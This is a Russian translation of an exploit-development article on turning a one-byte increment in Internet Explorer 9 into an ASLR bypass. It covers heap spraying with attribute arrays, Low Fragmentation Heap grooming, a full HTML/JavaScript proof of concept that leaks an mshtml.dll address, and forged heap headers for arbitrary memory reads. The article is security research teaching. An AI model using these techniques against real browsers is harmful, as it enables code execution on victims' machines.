Как при помощи одного байта можно захватить весь процесс (часть вторая)

Как при помощи одного байта можно захватить весь процесс (часть вторая)

В предыдущей статье мы остановились на инкрементировании данных в отдельном четырехбайтовом адресе у браузера IE9. В этой статье вы узнаете, к каким серьезным последствиям могут привести подобные манипуляции.

Автор: Питер Вругденгил (Peter Vreugdenhil)

Как и обещал, публикую продолжение предыдущей статьи.

В предыдущей статье мы остановились на инкрементировании данных в отдельном четырехбайтовом адресе у браузера IE9. В этой статье вы узнаете, к каким серьезным последствиям могут привести подобные манипуляции. Поскольку предполагается, что процесс защищен технологией ASLR, первым делом необходимо придумать способ определить фиксированный адрес, который мы сможем безопасно инкрементировать. Наипростейший способ сделать это – использовать выровненный heapspray (aligned heapspray). Если вы не знакомы с методикой heapspray, особенно, как ее реализовать в Internet Explorer, ниже я приведу некоторые основы.

Heap Spray

Идея методики heapspray заключается в заполнении кучи для того, что мы могли определить адрес памяти с известным содержимым… тут ничего удивительного. План заключается в том, чтобы выделить много участков в процессе для последующей безопасной записи/инкрементирования куска памяти, который в противном случае может быть занят. Поскольку у нас есть только одна попытка, необходимо убедиться в том, что мы можем манипулировать чем-то полезным. Для этого необходимо более внимательно ознакомиться с механизмом управления распределением памяти в Internet Explorer и Windows 7. Не составляет особых трудностей заполнить память процесса информацией, но наша задача записать туда нечто стоящее. И, как выясняется, мы может сделать это, но вначале давайте рассмотрим пример лог файла, который содержит распределения блоков памяти различных размеров.

------------- Creating allocations of different sizes alloc(0x1000) = 0x00e99290
alloc(0x1000) = 0x00e9a298
alloc(0x1000) = 0x00e9b2a0
(0x8000) = 0x00e9c2a8
alloc(0x8000) = 0x00ea42b0
alloc(0x8000) = 0x00eac2b8
alloc(0x10000) = 0x00eb42c0
alloc(0x10000) = 0x068b1fe8
alloc(0x10000) = 0x068c1ff0
alloc(0x80000) = 0x028d0020
alloc(0x80000) = 0x031e0020
alloc(0x80000) = 0x04c10020
------------- All done

Возможно, вы заметили некоторую закономерность. Первые три размера, видимо, являются случайными адресами, однако последние три размещения размером 0×80000 оканчиваются одинаково (0020). Как выясняется, если вы создаете размещение (почти) размером 0×80000, диспетчер памяти выравнивает его так, чтобы он начинался с новой страницы. 0020 – размер заголовка кучи. Если вы проверяете этот механизм при помощи отладчика, убедитесь в том, что вы отключили debugheap (флаг –hd в командной строке windbg), в противном случае размер заголовок будет 0×30. Если мы учтем размер заголовка кучи, то получим следующее:

alloc(0x7ffe0) = 0x02cf0020
alloc(0x7ffe0) = 0x04cf0020
alloc(0x7ffe0) = 0x05230020
alloc(0x7ffe0) = 0x06ed0020
alloc(0x7ffe0) = 0x07050020
alloc(0x7ffe0) = 0x070d0020
alloc(0x7ffe0) = 0x07150020
alloc(0x7ffe0) = 0x071d0020

Быстрый подсчет показывает, что последние три участка следуют четко друг за другом, создавая при этом непрерывный поток байтов под нашим контролем.

Поскольку каждый участок начинается по адресу 0xXXXX0020, даже если мы не знаем точный адрес, с которого начинается участок, мы все равно может заполнить его по образцу, который повторяется каждый 0×10000 байт и быть уверенными, что по адресу 0xXXXX0020 начинается наш образец. Все что необходимо сделать – выделить множество участков, а затем выбрать адрес, по которому вероятнее всего находятся наши данные. Нам нужно выбрать такой адрес, чтобы быть уверенным, что его не использует IE, но не сильно выходить за пределы, чтобы не выделять слишком большое число участков. Обычно, я использую 0×12010020, но вы можете выбрать свой собственный адрес.

Идем дальше. Мы собираемся выделить множество участков для того, чтобы получить безопасный адрес для инкремента. Возникает вопрос: чем мы будем заполнять эти участки? Если, к примеру, это будет большая строка, состоящая из символа «А», все что нам удастся сделать – изменить «A» на «B». Не слишком полезная операция. Нам нужно заполнить участки полезной информацией: указателями, флагами, размерами и вообще всем чем угодно, что не относится к простой строке. Это должен быть единственный участок размером 0×80000 или больше для правильного его выравнивания.

Я убежден, что это задачу можно решить различными способами, но я остановился на использования атрибутов элемента. Если вы не знакомы с системой хранения атрибутов элемента, предлагаю вам ознакомиться со следующей главой, иначе смело пропускайте ее и читайте далее.

Атрибуты элемента

Мы будем использовать атрибуты элемента при выделении множества участков (или «опрыскивании» кучи). Атрибуты хорошо подходят нам, поскольку содержат множество интересной информации. Так то, я не первый, конечно, кто использует атрибуты. Николас Жоли (Nicolas Joly) из компании Vupen некоторое время назад написал прекрасный эксплоит, где злоупотреблял методом хранения атрибутов элементов для обхода ASLR и DEP. Я дам небольшие пояснения по поводу внутренней схемы хранения атрибутов элемента. Вы также можете прочитать об этом в блоге компании Vupen. Когда у элемента есть атрибуты, он содержит указатель на участок размером 0×10, содержащий число атрибутов элемента, и указатель на текущий массив атрибутов.

Каждый атрибут в таблице использует 0×10 байт памяти. Первый DWord содержит набор флагов, которые среди прочего описывают Вариантный Тип (Variant Type) следующих за ним данных. Первый DWord также определяет, является ли второй DWord хэш-значением или указателем на структуру.

Второй DWord является либо хэш-значением имени, либо указателем на структуру, которая содержит дополнительную информацию.

Третий и четвертый DWord содержат либо само значение атрибута (в случае, например, с целочисленными значениями), либо указатель на значение атрибута (в случае со строками и объектами).

Размер массива будет увеличиваться по мере увеличения числа дополнительных атрибутов. Все начинается с размера в 0×40 байт для четырех атрибутов. По мере роста числа атрибутов этот размер увеличивается каждый раз на 50% (округление происходит в меньшую сторону). То есть размер массива будет увеличиваться так: 0×40, 0×60, 0×90, 0xD0 и так далее. Хотя, как выяснил Николас Жоли, если вы клонируете элемент, содержащий X атрибутов, новый элемент будет иметь массив атрибутов размером несколько больше, чем необходимо для хранения этих атрибутов. Эту фитчу можно использовать для создания участков размером 0x7ffe0 путем клонирования элемента, который содержит 0x7ffe атрибутов.

В компании Vupen уже продемонстрировали, что вариантный тип атрибута – главный кандидат для экспериментов. Однако, насколько мне известно, невозможно создать много различных вариантных типов при помощи javascript. По этой причине, потенциальные изменения, которые мы можем сделать, ограничены. Я пометил вариантные типы, которые мне удалось создать, используя различные значения атрибутов. Конечно, я мог что-то упустить.

· VT_EMPTY = 0×0000,
· VT_NULL = 0×0001,
· VT_I2 = 0×0002,
· VT_I4 = 0×0003,
· VT_R4 = 0×0004,
· VT_R8 = 0×0005,
· VT_CY = 0×0006,
· VT_DATE = 0×0007,
· VT_BSTR = 0×0008,
· VT_DISPATCH = 0×0009,
· VT_ERROR = 0x000A,
· VT_BOOL = 0x000B,
· VT_VARIANT = 0x000C,
· VT_UNKNOWN = 0x000D,
· VT_DECIMAL = 0x000E,
· VT_I1 = 0×0010,
· VT_UI1 = 0×0011,
· VT_UI2 = 0×0012,
· VT_UI4 = 0×0013,
· VT_I8 = 0×0014,
· VT_UI8 = 0×0015,
· VT_INT = 0×0016,
· VT_UINT = 0×0017,
· VT_VOID = 0×0018,
· VT_HRESULT = 0×0019,
· VT_PTR = 0x001A,
· VT_SAFEARRAY = 0x001B,
· VT_CARRAY = 0x001C,
· VT_USERDEFINED = 0x001D,
· VT_LPSTR = 0x001E,
· VT_LPWSTR = 0x001F,
· VT_RECORD = 0×0024,
· VT_INT_PTR = 0×0025,
· VT_UINT_PTR = 0×0026,
· VT_ARRAY = 0×2000,
· VT_BYREF = 0×4000

Если посмотреть на этот список, то в нем нет подходящего кандидата, который позволит нам раскрыть память при увеличении вариантного типа на единицу. Это утверждение не совсем верно, но мы вернемся к этому чуть позже. Но нужно иметь в виду, если увеличить вариантный тип на единицу без изменения значения атрибута, то это может дать нам некоторые дивиденды.

Мы будем создавать множество участков (или «опрыскивать» кучу) с массивами атрибутов, которые содержат 0x7FFE элементов. Мы будем устанавливать каждый 0x1000-й элемент, а все остальные оставим пустыми, что значительно ускорит задачу их клонирования. Устанавливая каждый 0x1000-й атрибут, мы создаем наш повторяющийся шаблон и затем должны в состоянии гарантированно изменить значение этих атрибутов.

Следующий вопрос: что мы собираемся менять? Я размышлял над этим некоторое время и попробовал несколько вариантов. Я не буду описывать полностью все мои эксперименты и причины, почему они завершились неудачно, а сразу перейду к тому, что реально работает.

Как я уже сказал, при рассмотрении нескольких вариантов я принял решение изменить строковой указатель. Мы можем получить указатель BString в таблице атрибутов при помощи следующей инструкции javascript:

elmement.setAttribute('test', 'aaaaaaaaaa');

BString (вариантный тип 0×08) – строковой тип, применяемый во многих местах, где используются строки в Internet Explorer. Первые четыре байта равны длине строке, за которым следует строковые данные. В конце идет пустой символ окончания строки. Указатель на BString указывает на начало строковых данных, а не на поле с размером строки. Ниже приводится рисунок, на котором я попытался оформить свои мысли графически.

Рисунок 1: Указатель BString указывает в начало строковых данных

Если мы увеличим указатель на значение внутри массива атрибутов, то мы можем переместить указатель на строковые данные на один байт, что не представляется сколь-нибудь полезным. Сделав это, вы можете получить следующее:

  1. Если первый байт строковых данных - 0×00, то вы уменьшите длину строки.
  2. Если первый байт строковых данных не нулевой, вы получите длину строки между 0×01000000 и 0xFFFFFFFF (теоретически). Хотя это слишком большое значение и вы не сможете повторно считать эту строку в javascript. Кроме того, вам был бы нужен огромный объем непрерывной памяти, следующий за строкой, так чтобы вы не потерпели бы крах при повторном чтении этой строки.

Однако мы не ограничены лишь увеличением указателя только на 1 байт. Если проигнорировать нормальное четырехбайтовое выравнивание наших данных, мы можем увеличить указатель на 0×100, 0×10000 или 0×1000000. Последние два варианта (увеличение указателя на 0×10000 или 0×1000000) реализовать сложнее, однако увеличение указателя на 0×100 представляет определенный интерес. Давайте рассмотрим его поподробнее. Мы не знаем, каков будет адрес BString, однако в Windows7 мы можем перевести кучу в очень предсказуемое состояние путем использования метода, которым куча с низкой фрагментацией (Low Fragmentation Heap, LFH) выделяет память. Настало время ознакомиться подробнее с кучей с низкой фрагментацией.

Куча с низкой фрагментацией

Для начала я настоятельно рекомендую вам ознакомиться со статей Understanding the Low Fragmentation Heap, написанной Крисом Валасеком (Chris Valasek), который в мельчайших деталях описал LFH для Windows 7. Главная особенность кучи с низкой фрагментацией – очень предсказуемое выделение памяти (по крайней мере, в Windows 7). C Windows 8 отдельная история - спасибо Мэтту Миллеру (Matt Miller) за то, что он добавил случайности в этой процесс :(. Но вернемся к Windows 7 и ее предсказуемости. Во-первых, LFH будет обрабатывать входящие запросы на выделение участков, на основе их размеров. Участки группируется по 0×8 байт, и каждая группа получает свою собственную область памяти. Как только распределитель кучи решает использовать LFH определенного размера весь участок той группы будет обработан в области памяти, созданной для этой группы. Как только область памяти становится полной, будет создана новая область памяти.

Область памяти является непрерывной, которая в состоянии хранить определенное число пользовательских блоков. Пользовательский блок – конечный кусок памяти, с которым работает программа. В Windows 7 пользовательские блоки выдаются по линейному закону.

Каждому пользовательскому блоку предшествует блок заголовка, размером 0×8 байт, который мы будем эксплуатировать далее. Когда освобождается кусок памяти, он снова доступен для следующего выделения памяти того же размера (количеству байт, равному остатку от деления на 8). Поскольку участки выдаются линейно, довольно просто манипулировать кучей, размещая участки в том порядке, который нам нужен для эксплуатации уязвимости.

Используя возможности, предоставленные нам LFH, мы можем манипулировать состоянием кучи для того, чтобы получить некоторые полезные данные, привязанные к нашему атрибуту BString. Затем мы можем увеличить указатель на BString в таблице атрибутов на 0×100 и тем самым переместить BString в следующий участок (если мы выберем правильный размер). Я выбрал BString размером 0x8A, и на это есть несколько причин:

  1. BString размером 0x8A занимает 0x90 байт в памяти (добавьте 0x4 к размеру, или 0x2 к значению \u0000)
  2. 0×90 + 0×100 попадает на следующий участок с запасом в нескольких байт
  3. 0x90 - тот размер, которого достигает таблица атрибутов во время увеличения (см. предыдущие разделы)

Таким образом, наш план заключается в том, чтобы переместить указатель BString внутрь таблицы атрибутов на величину 0×100. Этого можно достигнуть путем инкремента значения [AttributeValue1 + 1], где AttributeValue1 указывает на нашу heapspray с атрибутами и содержит указатель на BString, который содержится в блоке памяти размером 0×90. Из-за предсказуемости выделения памяти под огромную таблицу атрибутов, мы можем спрогнозировать, по какому адресу в памяти будет доступен указатель на BString. Мы не знаем, что это за указатель, или каково его значение, но это не имеет значения.

Следом за BString находится участок памяти с таблицей атрибутов, которая содержит 0х9 атрибутов и, соответственно, занимает 0×90 (именно поэтому они идут друг за другом). Если произвести вычисления на основе выбранных параметров, то получим следующий результат (для упрощения полагаем, что область памяти, которая хранит участки размером 0x90, начинается по смещению 0×00000000):

0×00000000 Начало 8-ми байтового заголовка блока для участка 1 (строка)
0×00000008 Размер строки (DWord)
0x0000000C Начало строковых данных
0×00000096 Окончание строки (0000)
0×00000098 Начало 8-ми байтового заголовка блока для участка 2 (таблица атрибутов)
0x000000A0 Начало таблицы атрибутов
0×00000130 Начало 8-ми байтового заголовка блока для участка 3 (строка)

В таблице атрибутов будет находиться указатель со значением 0x0000000C на объект BString. Мы можем изменить его на значение 0x0000010C, которое прямиком попадает в содержимое таблицы атрибутов. Атрибуты занимают 0×10 байт памяти, так что 0x10C – 0xA0 (начало таблицы) == 0x6C. Таким образом, указатель BString будет указывать на седьмой атрибут. Поскольку размер BString находится в BString – 4, размер будет находиться по смещению 0×8 от седьмого атрибута в таблице.

И это здорово, поскольку мы можем полностью управлять этим значением. У нас есть также достаточно места, чтобы слить некоторую информацию из таблицы атрибутов.

Возможно, это звучит слегка непонятно, и я попытаюсь объяснить графически. Размер строки после того, как мы «скорректировали» указатель на нее, должен быть разумным. Именно поэтому чрезвычайно важно, что можем контролировать ее размер, а не просто ссылаться на нее в случайно выделенной памяти.

Рисунок 2: Графическое изображение памяти и хранимых в ней строк и атрибутов

На рисунке выше серыми полями отмечены области памяти, в которой находится информация о заголовке кучи. Желтым цветом отмечены строковые данные. Черная стрелка, как было раньше, указывает точно в начало строковых данных, однако, мне удалось его немного подправить. Красной стрелкой показан «новый» указатель после инкрементирования, и сейчас он указывает в середину следующего участка.

Хорошая новость в том, что существуют «стандартные» атрибуты для конкретных объектов, что нам на руку, поскольку это означает, что таблица атрибутов в файле mshtml.dll будет содержать указатель на структуру этих атрибутов. Плохая новость в том, что эти атрибуты всегда находятся наверху таблицы атрибутов при их добавлении, так что нам нужно найти такой объект, у которого как минимум 8 стандартных атрибутов, так чтобы мы могли получить информацию об адресе внутри mshtml.dll.

Хороший кандидат на эту роль – элемент body. У этого элемента не менее 9 стандартных атрибутов, что позволяет нам быть достаточно гибкими при установке приемлемого размера BString, получить адрес из mshtml и даже дополнительную информацию о выделениях куч.

Таким образом, наш план заключается в следующем:

  1. Перед инициированием краха браузера создать элемент с таблицей атрибутов, содержащей 0x7FFE элементов.
  2. Клонировать этот элемент несколько раз для создания таблиц атрибутов размером 0×800000, которые прекрасно выровнены в памяти.
  3. Пройтись в цикле по клонированным элементам и:
    1. Установить каждый 0x1000-й элемент как строку размером 0x8A
    2. Создать элемент body и добавить 9 стандартных атрибутов
    3. Теперь мы настроили кучу таким образом, что строки и таблицы атрибутов следуют друг за другом
  4. Увеличить указатель на heapspray атрибутов на 0×100
  5. Процесс не должен завершиться крахом и javascript продолжить работу
  6. Пройтись по всем клонированным элементам и повторно считать каждый 0x1000-й атрибут
  7. Найти строку, длина которой не равна 0x8A (на самом деле 0x8A/2 из-за использования wide characters)
  8. Найденные строковые данные содержат указатели на mshtml.dll и некоторую дополнительную информацию
  9. Шаг первый: утечка памяти завершена!

Результирующий HTML-код выглядит так:

<!doctype html>
<HTML>
<head>
<script>

lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement('div');
lfh[i].className =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
}

function setinput() {
try { document.write('Timber'); } catch(e) {}

// I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
d = document.createElement('area');
d.shape = "poly"
// Our BString pointer is located at: 0x12010020 + 0x8
// We want to INCrement 0x12010020 + 0x8 + 1 to add 0x100 and not 0x1
// The code does: inc dword ptr [esi+0A0h] so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
d.coords =
"1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,
27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
d2 = document.createElement('area');
d2.shape = "poly"
d2.coords =
"1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,
27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

a = document.createElement("div");
a.clearAttributes()

//Step 1
for(i = 0; i < 0x7ffe; i++) {
a.setAttribute("attr" + i, null);
}
mem = new Array(400);
// Step 2
for(i = 0; i < mem.length; i++) {
mem[i] = a.cloneNode(1);
}

bodies = new Array()
// Step 3
for(j = 0; j < mem.length; j++) {
for(i = 0; i < 0x7ffe; i += 0x1000) {
// Step 3.1
mem[j].setAttribute("attr" + i,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
// Step 3.2
b = document.createElement('body');
b.title = 'a';
b.id = 'a';
b.text = 'a'
b.bgColor = 1
b.topMargin = 1
b.bottomMargin = 1
b.leftMargin = 1
b.rightMargin = 4
b.setAttribute('ropchain', bodies.length) // This will actualy give us the index of the body element we are leaking.
bodies.push(b);
}
}
// Saving the attributes so Garbage Collection wont kill them accidentally
document.body.setAttribute('mem', mem)
document.body.setAttribute('bodies', bodies)
return true
}

function loaded() {
document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
// Step 4
document.getElementsByTagName('input')[0].focus();

// Step 6
for(j = 0; j < mem.length; j++) {
for(i = 0; i < 0x7ffe ; i += 0x1000) {
//Step 7
if(mem[j].getAttribute("attr" + i).length != 0x45) {
//Step 9
LeakInfo = "Size of the attribute is = " + data.length + "\n";
LeakInfo += "Raw data: \n"
LeakInfo += escape(data) + "\n\n";
mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "\n";
bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
alert(LeakInfo);
}
}
}
}
</script>
</head>
<body onload="loaded();">
<input value="mydata" type="text"></input>
</body>
</html>

После выполнения этого кода, вы должны получить следующее сообщение:

Рисунок 3: Сообщение от браузера, появляющееся после выполнения кода

Возможно, вы задаетесь вопросом, почему все закончилось строкой размером 50. Причина в том, что в качестве длины строки используется значение атрибута «leftMargin», и по какой-то причине значение «1» на самом деле сохранилось как «100» (в десятичной системе счисления). Я не особо разбирался, почему этот так, поскольку этого достаточно для решения нашей задачи.

Если вы повнимательнее посмотрите на исходный код, то увидите, что я добавил индекс к слитому (leaked) элементу body в массиве элементов, и теперь мы точно знаем, какой элемент нам удалось слить.

Таким образом, первая цель нашего эксплоита достигнута, у нас есть адрес, полученный из mshtml.dll в javascript, и теперь мы можем обойти защиту ASLR. Конечно, это не идеальное решение, поскольку mshtml.dll изменяется довольно часто, и мы не хотим обновлять нашу ROP-цепь для учета этих изменений. Было бы идеально, если мы могли бы добиться утечки произвольной памяти и в дальнейшем сделать нашу ROP-цепь более надежной. Кроме того, нам все еще необходимо найти способ получения контроля над потоком выполнения приложения, поскольку на данных момент мы добились лишь утечки памяти.

Возможно, вам кажется, что сейчас можно просто изменить значения смещенного строкового атрибута, что вызовет (частичную) перезапись в таблице атрибутов, на которую он указывает. Все верно, но не все так просто, как вы думаете. Давайте просто изменим атрибут и посмотрим, что произойдет. После появления окна со слитой информацией, была добавлена единственная инструкция для изменения атрибута:

mem[j].setAttribute("attr" + i,
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

После запуска скрипта возникает следующий крах:

Critical error detected c0000374
(59c.ab4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=77250b0a edx=0316c4b5 esi=006b0000 edi=0585aaf0
eip=772ae695 esp=0316c708 ebp=0316c780 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!RtlReportCriticalFailure+0x29:
772ae695 cc int 3
1:019> k
ChildEBP RetAddr
0316c780 772af5c9 ntdll!RtlReportCriticalFailure+0x29
0316c790 772af6a9 ntdll!RtlpReportHeapFailure+0x21
0316c7c4 772af912 ntdll!RtlpLogHeapFailure+0xa1
0316c81c 7726aba7 ntdll!RtlpAnalyzeHeapFailure+0x25b
0316c910 77213492 ntdll!RtlpFreeHeap+0xc6
0316c930 74c56e6a ntdll!RtlFreeHeap+0x142
0316c944 7500449b ole32!CRetailMalloc_Free+0x1c [d:\w7rtm\com\ole32\com\class\memapi.cxx @ 687]
0316c968 75003ea3 OLEAUT32!APP_DATA::FreeCachedMem+0xc1
0316c984 71a7c73b OLEAUT32!SysFreeString+0x6b
0316c990 71a7be2f MSHTML!CAttrValue::Free+0x61
0316c9b4 71a7bdc3 MSHTML!CAttrArray::SetAt+0x61
0316c9c8 71a7be4b MSHTML!CAttrArray::SetAt+0x38
0316ca00 719e1c4c MSHTML!CBase::InvokeAA+0x273
0316ca90 719cedb8 MSHTML!CElement::ie9_setAttributeNSInternal+0x380
0316cac4 719ced22 MSHTML!CElement::ie9_setAttribute+0x68
0316cb10 712385fe MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0xc0
1:019> dd 0316c930
0316c930 0316c944 74c56e6a 006b0000 00000000
0316c940 0585aaf8 0316c968 7500449b 74d466bc
1:019> dc 0585aaf8
0585aaf8 00000064 00000009 00011400 71c629e0 d............).q
0585ab08 00010000 3f800000 80000301 002e46bf .......?.....F..
0585ab18 00000c19 007310d8 3fc0c281 88000000 ......s....?....
0585ab28 0000008a 00410041 00410041 00410041 ....A.A.A.A.A.A.
0585ab38 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.

Что же произошло? Когда вы установили атрибут, который уже существует, mshtml попросту удалит существующее значение и установит новое (на самом деле, полагаю, что сначала будет добавлено новое значение, а затем удалено старое). Таким образом, мы вызываем ntdll!RtlFreeHeap, используя адрес, которые не относится к куче, вернее к началу кучи и, следовательно, возникает ошибка при освобождении адреса. «И что же», - спросите вы, - «на это все заканчивается?». К счастью, мир не без добрых людей, и есть люди, такие как Бен Хокс (Ben Hawkes) и Крис Валасек (Chris Valasek), которые проделали огромную работу для нас, исследовав большинство возможностей кучи с низкой фрагментацией. Как выясняется, мы можем использовать немного измененную технику Бена для того, чтобы обманом заставить ntdll принять смещенный адрес как легитимный и освободить его. Для этого нам необходимо повнимательнее присмотреться к заголовку блока, который предшествует пользовательскому блоку.

Участкам LFH (или пользовательским блокам) предшествую 8-ми байтовые участки, которые содержат некоторую информацию о состоянии пользовательского блока, его размере и тому подобное. Если взглянуть на RtlpLowFragHeapFree, то все выглядит так, что первый DWord используется для установки размера блока (однако, это значение закодировано). Адрес _HEAP, сам участок и RtlpLFHKey подвергаются операции XOR между собой для того, чтобы задать это значение.

Второй DWord содержит несколько флагов, однако эти поля могут отличаться в зависимости от состояния блока кучи. Нас же интересуют лишь последние два байта. Бен Хокс обнаружил, что если в последний байт установить 0×5, то ntdll переместит заголовок кучи на величину, определяемую предпоследним байтом. Беглый взгляд на код, отвечающий за эти действия в ntdll!RtlpLowFragHeapFree, показывает, что это действительно так:

Рисунок 4: Фрагмент кода, отвечающий за функционал, связанный с перемещением заголовка кучи

В регистре edi находится первоначальный заголовок кучи (который берется из edx – 8, где edx – адрес, который мы хотим освободить). Если значение байта [edi+7] равно 0×5, то мы считываем байт [edi+6], умножаем его на размер блока (который равен 8, в случае с 32-битным процессором, инструкция «shl eax, 3») и затем перемещаемся заголовок на эту величину (инструкция sub edi, eax). Затем будет использовать «новый» заголовок кучи для обработки в оставшейся части функции, включая обработку любой закодированной информации.

Таким образом, наш план таков: добавить поддельный заголовок кучи (HeapHeader) перед началом нашей строки, установить значение 8-го байта равным 0×5, а значение 7-го байта таким, чтобы он указывал на корректный заголовок кучи. Ранее мы вычисляли, что указатель BString в heapspray атрибутах указывал на смещение 0x6C внутри таблицы атрибутов элемента body. Текущий участок начинается с 0х68 внутри внешнего выделения памяти. Заголовок кучи для этого блока находится в 0×68/8 = 0xD блоках перед нашим блоком.

Единственная проблема в том, что в текущей ситуации, когда BString указывает на середину массива атрибутов, мы не можем контролировать значения поддельного заголовка кучи. Но это не так страшно, поскольку мы можем освободить массив атрибутов и заменить его на нечто, чем мы можем управлять в достаточной степени. Все что нам нужно сделать – добавить еще один атрибут к правильному элементу body, в результате чего массив атрибутов расширится до 0xD0, оставляя наш первоначальный участок размером 0×90 на повторный захват.

Мы добавим еще один элемент area, установим свойство coords для того, чтобы у нас были правильные значения для поддельной кучи с низкой фрагментаций, а затем удалим смещенную строку. На данный момент у нас есть два пути, и у каждого есть свои плюсы и минусы. Все дело в том, что строка, используемая для атрибутов, выделяется при помощи OLEAUT32!SysAllocString. Об этом рассказал Александр Сотиров (Alexander Sotirov) в своей статье. У OLEAUT32 есть встроенная система кеширования.

Так что же это нам дает? Как я уже говорил, у нас есть два пути:

  1. Добавить освобожденный (смещенный) участок памяти в кэш для повторного использования. Это позволит нам сделать частичную перезапись легитимного участка.
  2. Позволить освобожденному адресу быть освобожденным путем заполнения кэша. В этом случае мы можем освобождать адрес многократно, поскольку у нас есть другой указатель, ссылающийся на него (свойство .coords)

Оба варианта требуют некоторых приготовлений, однако я в основном буду пользовать первым вариантом, так как считаю его забавнее другого. Если вы решите пойти по второму пути, обратите внимание на следующие нюансы:

  1. Вам нужно заполнять кэш OLEAUT32 перед освобождением атрибута (см. статью Александра), чтобы принудительно вызвать ntdll!RtlFreeHeap() для смещенного адреса.
  2. RtlFreeHeap() требует установки в первый DWord поддельной кучи значения 0×1 или 0×2 или 0×3 для безопасного вызова легитимной процедуры «RtlpInterceptorRoutines» и фактического освобождения адреса.
  3. Как только память освободилась, вы можете заполнять ее чем угодно.
  4. Используя выражение «FakeLFH.coords = null;» вы можете вновь освободить память, эффективно удалив объект или то, что вы занесли туда в предыдущем шаге.

Но мы выбрали первый вариант. Вот какие подготовительные шаги нужно предпринять:

  1. Создать поддельный заголовок LFH со свойством .coords
  2. Очистить кэш OLEAUT32 при помощи техники «plunger» (см. статью Александра)
  3. Очистить смещенную строку. Поскольку кэш пустой, OLEAUT32 добавит адрес в кэш.
  4. Заменить area.coords чем-то, чем вы хотите (частично) перезаписать
  5. Выделить строку правильного размера, которая будет повторно использовать адрес кэша OLEAUT32
  6. Получаем профит??

Небольшое замечание: даже если вы хотите, чтобы OleAut32 закешировал адрес и не хотите его пропустить через RtlFreeHeap, вам все равно нужно поддельный LFH-заголовок, поскольку oleaut32 вызовет ntdll!RtlSizeHeap, который использует LFH-заголовок для определения размера выделяемого участка памяти.

Какой же объект/информацию мы хотим частично перезаписать? Поскольку мы так много забавлялись с таблицей атрибутов, я решил перезаписать часть этой таблицы, что даст нам достаточно контроля для чтения любого адреса и вызова любой функции, если все сделать правильно. Теоретически мы можем продолжать заменять память, выполняя шаги, описанные выше, однако всегда существует риск наступления хаоса, если мы выделяем столь большое количество участков и освобождаем их. Так вот, мы будем перезаписывать таблицу атрибутов данными, которые установлены в одном из атрибутов, относящегося к типу 0xC (это вариантный тип) и добавим указатель на подконтрольную нам память. Как только мы сделаем это, нам не нужно будет изменять первоначальный массив атрибутов. Мы можем просто изменить память, на которую ссылается вариантный тип и установить туда все, что нам заблагорассудится.

Таким образом, мы ищем кусок памяти размером приблизительно в 0×10 байт (именно столько нужно для хранения вариантного типа), которым мы можем манипулировать без дополнительного выделения и освобождения участков памяти. Эта задача имеет множество решений, но я буду использовать AnchorElement («<A>»). Как и элемент area, у AnchorElement есть свойство «coords», однако оно принимает только 4 значения и хранит их внутри объекта. Если мы изменим свойство coords у AnchorElement, то не произойдет дополнительного выделения и освобождения участка памяти. Кроме того, все четыре значения будут храниться в участке размером в 0×10 байт, что вполне нас устраивает.

Возможно, вы задаетесь вопросом о том, как мы будем искать элемент «A» в памяти? Очень просто. Мы добавим этот элемент к ранее слитому элементу body. Это нам даст адрес кучи элемента «A», что вполне достаточно для того, чтобы узнать, где хранятся значения свойства coords (смещение 0x50 от базы элемента «A» в версии mshtml, которую мы используем). Однако существуют некоторые ограничения при использовании этого метода, поскольку те координаты, которые вы заносите «упорядочиваются» по размеру. Но поскольку нам необходимы эти значения только вначале, а третье и первое значение (которое описывает вариантный тип) могут быть не ниже 0x0001XXXX, то мы можем прочитать любой участок памяти выше этого значения.

Установив поддельный вариантный тип как целочисленное значение и флаг для «VariantByRef (0×40)» мы можем прочитать целочисленные значения из адреса, определенного нами в третьей координате. Вероятно, вы можете прочитать целые массивы целочисленных значений, но я не исследовал этот вопрос. Следует помнить о том, что значение, возвращаемое javascript, является строкой, а не числом, поэтому перед использованием необходимо преобразовать возвращаемое значение при помощи функции parseInt().

Значение хеша (hashvalue) имени атрибута мы узнаем во время повторного чтения слитой информации.

Значение слитого адреса из mshtml.dll и возможность считать любой адрес в памяти позволяет нам найти начальный адрес mshtml.dll. Мы можем сделать это, взяв слитый адрес и выполнив операцию AND со значением 0xFFFF0000, после чего постепенно уменьшая полученное значение на 0×10000 и сравнивая его с «MZ» мы найдем начальный адрес mshtml.dll. Как только адрес найден, мы можем парсить структуру PE-файла, чтобы получить таблицу импортов и захватить адрес Kernel32.dll. После этого мы парсим Kernel32.dll, чтобы получить адрес ntdll.dll. Полученной информации будет достаточно для создания ROP-цепи.

